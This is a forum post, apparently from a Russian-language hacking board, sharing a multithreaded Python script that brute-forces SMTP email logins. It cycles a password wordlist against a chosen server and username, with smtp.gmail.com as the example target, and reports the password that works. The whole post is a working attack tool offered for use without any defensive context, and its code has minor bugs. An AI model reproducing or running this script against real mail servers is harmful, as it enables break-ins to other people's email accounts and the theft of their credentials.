[Python] smtp bruteforcer

  • Автор темы cracker92
  • Дата начала
  • Просмотров 13794 Просмотров

cracker92

Местный
372
128
22 Июн 2019
Python:
#!/usr/bin/env python

import threading
import smtplib
import getopt
import sys
import time

#global variables
server       = ""
port         = 0
wordlist     = ""
wordlist_len = 0
threads      = None
position     = 0
threads_count = 1
use_ssl      = False
found        = False
username     = ""
hit          = "" #result
passwords    = []
start_time   = time.time()
stop = False # to stop threads manually.
critical = threading.Lock() #like a critical section

# prototype funcs
def usage():
    print("")
    print("Usage :{0} -s [smpt_server] -p [smpt_port] --username=[email] --wordlist=[path] --threads=[threads]".format(sys.argv[0]))
    print("")
    print("-s, --server      \t\t - target server (ex: smtp.gmail.com)")
    print("-p, --port        \t\t - port number")
    print("-w, --wordlist    \t\t - password list path")
    print("-u, --username    \t\t - smtp username (email)")
    print("-t, --threads     \t\t - threads number (default: 1)")
    exit(-1)


def worker_thread():
    global server
    global port
    global pass_per_min
    global passwords
    global position
    global use_ssl
    global username
    global stop
    global critical
    global found

    while not (found or stop) and (position < wordlist_len):
        critical.acquire() # enter critical section
        password = passwords[position] #get a valid password from the list
        position += 1
        critical.release() # leave critical section
        #connect to server
        try:
            if use_ssl:
                client = smtplib.SMTP_SSL(server, port)
                client.ehlo()
            else:
                client = smtplib.SMTP(server, port)
            # authenticate
            try:
                login = client.login(username, password)
                found = True
                hit = password
            except smtplib.SMTPAuthenticationError: #failed
                pass
        except smtplib.SMTPConnectError:
            worker_thread() # reconnect and resume lmao, idk but if client disconnects then current password will skipped XD. Should break and stop ?
        except Exception as e: # other exceptions...
            print("[!!] Error: {0}".format(str(e)))
            stop = True
           
def stats_writer():
    global start_time
    global position
    global found
    global wordlist_len
    global stop
    while not (found or stop):
        print("Total: {0}| tesed: {1}| left: {2}| tested per min: {3}. \r".format(wordlist_len, position, wordlist_len-position, int(position/((time.time()-start_time)/60)))),
        time.sleep(1)
    if found:
        print ''
        print("[+] Found: {0}".format(hit))
         
def build_wordlist():
    global worldist
    global wordlist_len
    global passwords

    fp = open(str(wordlist), "r")
    lines = fp.readlines()
    fp.close()

    for line in lines:
        line = line.strip()
        if line != "":
            passwords.append(line)
            wordlist_len += 1
        pass


def main():
    global server
    global port
    global wordlist
    global threads
    global threads_count
    global use_ssl
    global username
    global stop
    # getopt
    try:
        opt, args = getopt.getopt(sys.argv[1:], "hs:p:t:w:u:", ["help","server","port","threads", "wordlist", "username",])
    except getopt.GetoptError as err:
        print(err)
        usage()

    for o,a in opt:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-s", "--server"):
            server = a
        elif o in ("-p", "--port"):
            port = int(a)
            if port == 25:
                use_ssl = False
            else:
                use_ssl = True # port 465
        elif o in ("-t", "--threads"):
            threads_count = int(a)
        elif o in ("-w", "--wordlist"):
            wordlist = str(a).strip()
        elif o in ("-u", "--username"):
            username = str(a).strip()
        else:
            assert False, "bad options"
    # check globals
    if (server is None) or (not port) or (wordlist is None) or (username is None):
        print("[!!] Error: an option is missing.")
        usage()
    # build wordlist
    print("[+] building wordlist...")
    build_wordlist()
    # create threads
    threads = [threading.Thread(target=worker_thread) for i in xrange(threads_count)]
    stats_thread = threading.Thread(target=stats_writer)
    #stats_thread.daemon = True #stop in end.
    # start threads
    print("[+] starting...")
    print("[+] Ctrl-C to stop (KeyboardInterrupt signal)") # I know, you don't know SIGNALS

    stats_thread.start()
    for thread in threads:
        thread.start()

    # keep main thread up
    try:
        while not stop:
            time.sleep(1)
    except KeyboardInterrupt:
        stop = True
        print ""
        print("[-] aborting...")

if __name__ == '__main__':
    main()